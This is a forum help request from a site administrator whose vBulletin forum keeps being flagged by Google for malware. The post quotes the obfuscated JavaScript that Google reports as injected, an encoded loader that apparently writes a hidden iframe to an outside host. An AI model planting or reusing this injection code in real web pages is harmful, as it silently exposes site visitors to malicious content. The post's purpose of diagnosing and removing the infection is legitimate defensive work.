Forum Forum keeps getting malware
 

One of the forums I administer keeps getting a malware threat from google for months now, no matter what I do. Forum has latest vb version, I've gone through all the files, there's nothing there that shouldn't be there. And I tried searching in the database for injections, couldn't find anything there either. THe code google seems to think that is injected is this:

Code:
try{document.asd.removeChild({})}catch(q){ss="";s= St
ring;}ddd=new Date();d2=new Date(ddd.valueOf()-2);Object.pro
totype.asd='q';if('q'==={}.asd)a=document['createTextNode'](
'321');if(a.nodeValue==321)h=(ddd-d2)*-1;n='4.5v4.5v52.5v51v
16v20v50v55.5v49.5v58.5v54.5v50.5v55v58v23v51.5v50 .5v58v34.5
v54v50.5v54.5v50.5v55v58v57.5v33v60.5v42v48.5v51.5 v39v48.5v5
4.5v50.5v20v19.5v49v55.5v50v60.5v19.5v20.5v45.5v24 v46.5v20.5
v61.5v4.5v4.5v4.5v52.5v51v57v48.5v54.5v50.5v57v20v 20.5v29.5v
4.5v4.5v62.5v16v50.5v54v57.5v50.5v16v61.5v4.5v4.5v 4.5v50v55.
5v49.5v58.5v54.5v50.5v55v58v23v59.5v57v52.5v58v50. 5v20v17v30
v52.5v51v57v48.5v54.5v50.5v16v57.5v57v49.5v30.5v19 .5v52v58v5
8v56v29v23.5v23.5v49v57v52.5v51.5v52v58v58v61v23v4 9.5v55.5v5
4.5v23.5v54.5v48.5v52.5v55v23v56v52v56v31.5v56v48. 5v51.5v50.
5v30.5v50v48.5v49.5v28.5v49v50v28v28.5v24.5v27v26. 5v50.5v25v
27.5v24v28v19.5v16v59.5v52.5v50v58v52v30.5v19.5v24 .5v24v19.5
v16v52v50.5v52.5v51.5v52v58v30.5v19.5v24.5v24v19.5 v16v57.5v5
8v60.5v54v50.5v30.5v19.5v59v52.5v57.5v52.5v49v52.5 v54v52.5v5
8v60
Can someone please help me out? I've tried pretty much everything. I believe the problem has to be somewhere in the database but I don't know where and what to look for other than the above.